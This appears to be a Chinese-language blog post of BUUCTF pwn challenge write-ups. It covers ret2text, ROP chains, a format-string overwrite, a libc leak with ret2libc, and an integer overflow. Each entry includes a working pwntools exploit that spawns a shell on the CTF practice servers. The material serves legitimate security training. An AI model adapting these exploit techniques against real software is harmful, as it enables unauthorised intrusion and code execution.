rip
checksec分析一下,发现没有开NX,PIE。栈段可执行,还有RWX的段
看了一下main函数存在栈溢出,然后有一个fun函数很奇怪跟进看一下,发现是后门,很简单的ret2text,但是做64位题的时候要注意堆栈平衡
from pwn import *
# io = process('./pwn1')
io = remote("node5.buuoj.cn",25429)
payload = b'A'*23 + p64(0x401186 + 1)
io.sendline(payload)
io.interactive()
warmup_csaw_2016
checksec看一下,发现跟rip那一题是一样的情况
看了一下,发现main函数中存在栈溢出,然后我们开始排查一下左边的函数,发现了这个函数。发现这题又是简单的ret2text,还是注意堆栈平衡
from pwn import *
io = remote("node5.buuoj.cn",25764)
payload = b'A' * 72 + p64(0x40060d)
io.sendline(payload)
io.interactive()
但是这题需要注意一下,他跟其他的题不一样,它不需要去堆栈平衡,所以后面做题我们需要去确认一下
ciscn_2019_n_1
checksec看看开启了啥保护,发现是64位程序开启了NX保护
通过查看main函数中发现了func函数,然后跟进一下func函数,看到了gets函数造成的栈溢出,然后还有我们需要的system("cat /flag"),但是通过阅读代码发现调用system函数是有要求的,发现需要v2等于11.28125才可以,但是上面已经将v2赋值为了0.0
然后我看到了system函数和cat /flag这两个,我已经有了思路就是自己去构造一下,通过栈溢出直接溢出到sytem函数的位置,然后将cat /flag参数传入,而要将参数传入需要用到pop rdi;ret这个命令,我们可以通过ROPgadget来看找到这个的地址,然后构造payload就行了,现在我们需要知道system函数的plt地址,cat /flag地址,pop rid;ret地址,就可以完成这个栈溢出。
from pwn import *
io = remote('node5.buuoj.cn', 28390)
offset = 0x30 + 8
payload = offset * b'a' + p64(0x400793)+p64(0x4007CC)+p64(0x4005E1)+p64(0x400530)
io.sendline(payload)
io.interactive()
然后要注意队堆栈平衡,这题需要考虑所以我们加了一个ret的地址在system前面
当做到这里我以为我已经完成了,但是我看到了别人的payload,我才发现我原来多做了很多的步骤
# coding: utf-8
from pwn import *
r = remote('node3.buuoj.cn',29337)
offset = 0x30 + 8
payload = offset*'a' + p64(0x000004006BE ) #直接gets函数溢出,然后修改返回地址
r.sendline(payload)
r.interactive()
首先我们看一下他的代码,发现他只用了一个地址,我就好奇去看了一下这个地址
我发现他溢出的这个地址是fun阐述的其中一部分,他并不是直接溢出到system函数,而是溢出到他的上面的位置,通过这里的代码往下看,我发现他这里mov edi其实已经开始给edi赋值了,然后下面调用了system函数,就完成了整个的攻击过程,这个攻击过程和我们上面写的攻击过程原理其实是一样的,但是我们是通过手动完成了这个步骤,他是通过溢出到这个地址,然后下面的代码刚好把我们后面的步骤完成了,其实想一下
他这个地方其实已经就是把值传入了,以后我们做题看到如果我们需要的参数已经在函数体内了,我们就可以通过上述的方法来完成
jarvisoj_level0
发现打开了NX保护,但是canary和pie还有relro保护都没有开
通过跟进ida发现这是一个很简单的ret2text
from pwn import *
# io = process('./pwn')
io = remote("node5.buuoj.cn",29084)
payload = b'A'*136+p64(0x4005A5)+p64(0x400596)
io.sendline(payload)
io.interactive()
[第五空间2019 决赛]PWN5
首先开始还是简单的checksec一下
发现开启了canary保护,这个时候我就在想他可能会考到canary的绕过,也可以不用到栈溢出,然后ida跟进一下
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
跟进主函数看一下,整体代码的逻辑就是
- 定义了一些变量,包括用于存储输入的字符数组
nptr
和buf
,以及用于存储随机数生成器种子的v1
。 - 使用
setvbuf
函数设置stdout
(标准输出)的缓冲区,使其不进行缓冲。 - 获取当前时间作为随机数生成器的种子,并通过
srand
函数设置随机数种子。 - 打开
/dev/urandom
设备文件,从中读取4个字节到dword_804C044
变量中。/dev/urandom
是一个提供伪随机数的设备文件。 - 通过
printf
函数提示用户输入他们的名称,然后使用read
函数从标准输入读取最多 99 个字节到buf
数组。 - 再次使用
printf
函数提示用户输入密码。 - 使用
read
函数从标准输入读取最多 15 个字节到nptr
数组。 - 将
nptr
数组的内容转换为整数,并与dword_804C044
进行比较。如果它们相等,程序将执行system("/bin/sh")
,这将启动一个 shell 提示符,允许用户执行命令。 - 如果密码不正确,程序将打印 "fail"。
- 最后,程序检查是否有安全违规,如果没有,返回0。
这个时候我看可以看到我们只需要输入一个数(nptr)和dword_804C044相等就可以运行获取shell的代码了,但是这是一个随机数我们该如何输入一个一样的呢?
这里考察的是格式化字符串的漏洞
我看可以看到这两地方,我们向buf输入数据,然后下面printf会把buf给输出出来,这里就存在漏洞,通常printf会将第一个参数当作格式化字符串,但是格式化字符串应该是在编写代码的时候给写好的,这里我们可以控制就可以通过格式化字符串输出我们想到的东西,这个漏洞通常运用在泄露栈内存,泄露任意地址内存,篡改栈内存,篡改任意代码内存,这四个方面。我们知道了他有这四个用途,我们好好想想,我们可以篡改任意代码内存了,那是不是就可以篡改随机值,将他改成我们输入进去的数字,所以payload如下
payload = p32(addr)+b'%10$n'
这里是解释为什么我们是10$了
然后%n的含义是,前面输出了多少的字节数据,然后他就给这个地方赋值多少,比如输出了4字节的数据,那这个地方就被篡改成4了
然后因为p32(addr),是将地址转为32位,32位为4字节,所以这个随机数这个地方就被我们篡改成了4了,现在只需要我们输入4就可以跟随机值正确匹配了
from pwn import *
io = process("./pwn")
random_add = 0x804C044
payload = p32(random_add)+b'%10$n'
io.sendlineafter("your name:",payload)
io.sendlineafter("your passwd:",b'4')
io.interactive()
这个就是完整的exp了
jarvisoj_level2
checksec
发现没有canary,可能存在栈溢出
ida跟进
发现是一道非常简单的ROP构造
exp:
from pwn import *
# io = process("./pwn")
io = remote("node5.buuoj.cn",25027)
elf = ELF("./pwn")
system_add = elf.plt['system']
bin_sh = 0x804A024
payload = b'A'*(0x88+0x4)+p32(system_add)+p32(0)+p32(bin_sh)
io.sendline(payload)
io.interactive()
bjdctf_2020_babystack
checksec
ida跟进
发现他是很简单的ret2text,整体代码的逻辑就是scanf向nbytes读入,然后nbytes当成read的第三个参数,给buf赋值。所以我们给nbytes赋值大一点,不然不够造成栈溢出
exp:
from pwn import*
# p=remote('node5.buuoj.cn',28874)
p = process("./pwn")
back_door=0x4006e6
p.recvuntil('your name:\n')
p.sendline(str(0x40))
p.recvuntil('u name?\n')
payload=b'a'*0x18+p64(0x4007CB)+p64(back_door)
p.sendline(payload)
p.interactive()
这里要注意栈平衡
[NewStarCTF 2023]ret2text
最基本的ret2text
from pwn import *
# io = process("./pwn")
io = remote("node5.buuoj.cn",25103)
payload = b'A'*0x28+p64(0x04011FB)
io.sendline(payload)
io.interactive()
ciscn_2019_n_8
判断var[13]的值是不是17,只需要输入的时候在第18位填写17就行了,因为下标是从0开始的
from pwn import *
# io = process("./pwn")
io = remote("node5.buuoj.cn",29774)
payload = b'A'*(13*4)+p64(17)
io.sendline(payload)
io.interactive()
get_started_3dsctf_2016
很简单的ret2text,32位栈传参,所以只需要把满足的值写入栈中就行了
from pwn import *
io = remote("node5.buuoj.cn",25583)
payload = b'A'*0x38+p32(0x80489A0)+p32(0x804E6A0)+p32(814536271)+p32(425138641)
io.sendline(payload)
io.interactive()
jarvisoj_level2_x64
很明显的栈溢出,然后系统调用过system函数,所以可以调用system_plt,因为是64位程序,所以是寄存器传参,前六个整数或指针参数通常使用寄存器RDI, RSI, RDX, RCX, R8, 和 R9来传递,后面的参数还是会放到栈中进行传参,程序本身还存在/bin/sh,所以构造system(/bin/sh)
from pwn import *
# io = process("./pwn")
io = remote("node5.buuoj.cn",29814)
elf = ELF("./pwn")
rdi_add = 0x4006b3
bin_sh = 0x600A90
sys_add = elf.plt['system']
payload = b'A'*(0x80+0x8)+p64(rdi_add)+p64(bin_sh)+p64(0x0400644)+p64(sys_add)
io.sendline(payload)
io.interactive()
[HarekazeCTF2019]baby_rop
跟上题的思路差不多,但是64位程序都需要注意一下堆栈平衡
from pwn import *
# io = process("./pwn")
io = remote("node5.buuoj.cn",27144)
elf = ELF("./pwn")
rdi_add = 0x400683
bin_sh = 0x601048
sys_add = elf.plt['system']
payload = b'A'*0x18+p64(rdi_add)+p64(bin_sh)+p64(0x40061A)+p64(sys_add)
io.sendline(payload)
io.interactive()
others_shellcode
链接即有shell
from pwn import *
io = remote("node5.buuoj.cn",25195)
io.interactive()
[OGeek2019]babyrop
32位程序,RELRO保护全开还有NX保护
main
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
sub_80486BB函数是一个初始化函数,然后下面打开了/dev/urandom获取了随机值然后将他赋值给buf,然后再将buf传入sub_804871F并且将返回值给到v2
sub_804871F
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", a1);
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}
清空s和buf变量,然后将传入进来的随机值转换成长整型然后传给s,然后需要我们传入一些值给到buf,并将值传入的长度给到v5,并且将buf的最后一个读取的字符设置位0,这是移除换行符的操作。然后算出buf的长度给到v1,接下来判断buf和s的值是否相同,如果不相同退出程序,相同就输出,然后返回buf第八个字符,回到主函数中,v2接收返回值,然后v2当作sub_80487D0的参数
sub_80487D0
ssize_t __cdecl sub_80487D0(char a1)
{
char buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( a1 == 127 )
return read(0, buf, 0xC8u);
else
return read(0, buf, a1);
}
判断传入进来的值是否等于127,如果相等就可以输入0xc8大小的值,如果不相等就可以输入a1的大小的值,这里0xc8并不能造成栈溢出,所以得从a1的值下手
整理思路
整体思路很简单,这里我们需要绕过sub_804871F函数的判断,因为如果判断不相同的话就会退出程序,这里需要绕过,让判断相同,这里改如果绕过呢?我们如果让v1等于0的话,那是不是就是判断buf和s的前0个字符,那这里就会恒相同,那么该如何让v1等于0呢?由于v1是通过strlen计算buf字长的,但是strlen字长判断是通过\x00截断的,所以让buf的最开始为\x00的话这里的v1就会等于0了。
第二步我们需要修改a1的值,让他足够的大,因为这里的a1实际上就是sub_804871F中buf的第八个参数,这里需要用到转义字符
\为转义字符,而’\xhh‘表示ASCII码值与’hh’这个十六进制数相等的符号,例如’\xff’表示ASCII码为255的符号
所以我们就需要将buf[7]这个地方改为\xff,这样就可以使得a1的值大,导致我们可以栈溢出
然后就是泄露libc那一套了
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
# io = process("./pwn")
io = remote("node5.buuoj.cn",25285)
libc = ELF("./libc-2.23.so")
elf = ELF("./pwn")
write_plt = elf.plt['write']
write_got = elf.got['write']
main_add = 0x8048825
def debug():
gdb.attach(io)
pause()
payload = b'\x00'+b'\xff'*8
io.sendline(payload)
io.recvuntil("Correct\n")
payload = b'A'*(0xe7+0x4) + p32(write_plt)+p32(main_add)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload)
write_add = u32(io.recv(4))
print(hex(write_add))
libc_base = write_add - libc.sym['write']
system_add = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
payload = b'\x00'+b'\xff'*8
io.sendline(payload)
io.recvuntil("Correct\n")
payload = b'A'*(0xe7+0x4)+p32(system_add)+p32(main_add)+p32(bin_sh)
io.sendline(payload)
io.interactive()
not_the_same_3dsctf_2016
简单的rop
from pwn import *
from struct import pack
io = process("./pwn")
io = remote("node5.buuoj.cn",28578)
elf = ELF("./pwn")
main_add = elf.sym['main']
write_add = elf.sym['write']
payload = b'A'*(0x2d)
payload +=p32(0x80489A0)+p32(write_add)+p32(main_add)+p32(1)+p32(0x80ECA2D)+p32(45)
io.sendline(payload)
# gdb.attach(io)
io.interactive()
铁人三项(第五赛区)_2018_rop
简单rop
from pwn import *
io = process("./pwn")
io = remote("node5.buuoj.cn",26229)
elf = ELF('./pwn')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_add = elf.sym['main']
offset = 0x88+0x4
payload = b'A'*(0x88+0x4)+p32(write_plt)+p32(main_add)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload)
write_add = u32(io.recv(4))
print(hex(write_add))
write_offset = 0x0e56f0
system_offset = 0x03cd10
binsh_offset = 0x17b8cf
base_addr = write_add - write_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset
payload2 = offset * b'a' + p32(system_addr) + p32(1) + p32(binsh_addr)
io.sendline(payload2)
io.interactive()
别问为什么我直接知道偏移,因为我到LibcSearcher有问题,上网找到的偏移
bjdctf_2020_babystack2
这题就是整数溢出,然后ret2text
from pwn import *
# io = process("./pwn")
io = remote("node5.buuoj.cn",27595)
io.sendline('-1')
payload =b'A'*(0x10+0x8)+p64(0x400726)
io.sendline(payload)
io.interactive()
标签:BUUCTF,p32,pwn,add,io,PWN,buf,payload From: https://www.cnblogs.com/Q1Sec/p/18253806